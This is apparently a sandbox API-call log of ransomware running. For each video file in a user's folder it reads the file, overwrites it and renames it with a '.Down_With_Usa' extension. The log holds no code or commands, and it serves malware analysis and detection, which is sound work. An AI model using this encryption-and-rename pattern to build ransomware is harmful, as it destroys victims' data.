[0122.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\95bbcnxqtifmflyvv1-f.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe691ed30, ftCreationTime.dwHighDateTime=0x1d5d864, ftLastAccessTime.dwLowDateTime=0x95507ac0, ftLastAccessTime.dwHighDateTime=0x1d5e77f, ftLastWriteTime.dwLowDateTime=0x2579eda0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xabe0)) returned 1
[0122.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\95bbcnxqtifmflyvv1-f.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\95bbcnxqtifmflyvv1-f.avi.down_with_usa")) returned 1
[0122.538] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", lpFilePart=0x0) returned 0x31
[0122.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fytzrtai.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.538] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xff98
[0122.539] ReadFile (in: hFile=0x3a8, lpBuffer=0x26ea488, nNumberOfBytesToRead=0xff98, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26ea488*, lpNumberOfBytesRead=0x2ebe58*=0xff98, lpOverlapped=0x0) returned 1
[0122.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", lpFilePart=0x0) returned 0x31
[0122.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fytzrtai.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4", lpFilePart=0x0) returned 0x31
[0122.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x3f
[0122.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fytzrtai.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597f43c0, ftCreationTime.dwHighDateTime=0x1d5de45, ftLastAccessTime.dwLowDateTime=0xcce85150, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0x2585d480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xffa0)) returned 1
[0122.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.588] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fytzrtai.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\FyTzRTAI.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fytzrtai.mp4.down_with_usa")) returned 1
[0122.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", lpFilePart=0x0) returned 0x31
[0122.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lbjimkls.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.589] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x9397
[0122.593] ReadFile (in: hFile=0x3a8, lpBuffer=0x25ff400, nNumberOfBytesToRead=0x9397, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x25ff400*, lpNumberOfBytesRead=0x2ebe58*=0x9397, lpOverlapped=0x0) returned 1
[0122.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", lpFilePart=0x0) returned 0x31
[0122.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lbjimkls.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi", lpFilePart=0x0) returned 0x31
[0122.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi.Down_With_Usa", lpFilePart=0x0) returned 0x3f
[0122.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lbjimkls.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7164af0, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0x52da6040, ftLastAccessTime.dwHighDateTime=0x1d5e336, ftLastWriteTime.dwLowDateTime=0x258cf8a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x93a0)) returned 1
[0122.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.635] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lbjimkls.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lBjIMkls.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lbjimkls.avi.down_with_usa")) returned 1
[0122.636] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", lpFilePart=0x0) returned 0x2e
[0122.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lpeom.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.636] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x2d5a
[0122.636] ReadFile (in: hFile=0x3a8, lpBuffer=0x27227e8, nNumberOfBytesToRead=0x2d5a, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27227e8*, lpNumberOfBytesRead=0x2ebe58*=0x2d5a, lpOverlapped=0x0) returned 1
[0122.683] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", lpFilePart=0x0) returned 0x2e
[0122.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.683] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lpeom.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv", lpFilePart=0x0) returned 0x2e
[0122.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0122.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lpeom.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ff7f10, ftCreationTime.dwHighDateTime=0x1d5e2ef, ftLastAccessTime.dwLowDateTime=0xecc74d50, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0x25967e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d60)) returned 1
[0122.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.687] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lpeom.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lPeoM.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lpeom.mkv.down_with_usa")) returned 1
[0122.688] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", lpFilePart=0x0) returned 0x2e
[0122.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxzkw.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.688] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x99d6
[0122.689] ReadFile (in: hFile=0x3a8, lpBuffer=0x26227a0, nNumberOfBytesToRead=0x99d6, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26227a0*, lpNumberOfBytesRead=0x2ebe58*=0x99d6, lpOverlapped=0x0) returned 1
[0122.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", lpFilePart=0x0) returned 0x2e
[0122.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxzkw.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi", lpFilePart=0x0) returned 0x2e
[0122.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0122.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxzkw.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f961ee0, ftCreationTime.dwHighDateTime=0x1d5e7fd, ftLastAccessTime.dwLowDateTime=0x9ce971c0, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x25a003a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99e0)) returned 1
[0122.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxzkw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxzkw.avi.down_with_usa")) returned 1
[0122.765] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", lpFilePart=0x0) returned 0x3b
[0122.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0by6bnxsl7t-omscm.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.765] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x3028
[0122.765] ReadFile (in: hFile=0x3a8, lpBuffer=0x2748100, nNumberOfBytesToRead=0x3028, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2748100*, lpNumberOfBytesRead=0x2ebe58*=0x3028, lpOverlapped=0x0) returned 1
[0122.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", lpFilePart=0x0) returned 0x3b
[0122.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0by6bnxsl7t-omscm.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv", lpFilePart=0x0) returned 0x3b
[0122.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0122.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0by6bnxsl7t-omscm.flv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a8d490, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0xa5425c20, ftLastAccessTime.dwHighDateTime=0x1d5dd41, ftLastWriteTime.dwLowDateTime=0x25a727c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3030)) returned 1
[0122.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.810] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0by6bnxsl7t-omscm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0by6bnxsl7t-omscm.flv.down_with_usa")) returned 1
[0122.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", lpFilePart=0x0) returned 0x33
[0122.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xcdvt3htjs.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.812] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x149f
[0122.812] ReadFile (in: hFile=0x3a8, lpBuffer=0x26460f0, nNumberOfBytesToRead=0x149f, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26460f0*, lpNumberOfBytesRead=0x2ebe58*=0x149f, lpOverlapped=0x0) returned 1
[0122.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", lpFilePart=0x0) returned 0x33
[0122.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xcdvt3htjs.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv", lpFilePart=0x0) returned 0x33
[0122.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0122.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xcdvt3htjs.flv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5f6ea0, ftCreationTime.dwHighDateTime=0x1d5e6d2, ftLastAccessTime.dwLowDateTime=0x57d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e10c, ftLastWriteTime.dwLowDateTime=0x25ae4be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14a0)) returned 1
[0122.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.857] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xcdvt3htjs.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xcdvt3htjs.flv.down_with_usa")) returned 1
[0122.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", lpFilePart=0x0) returned 0x39
[0122.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xvav yi4vmdvjy2o.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
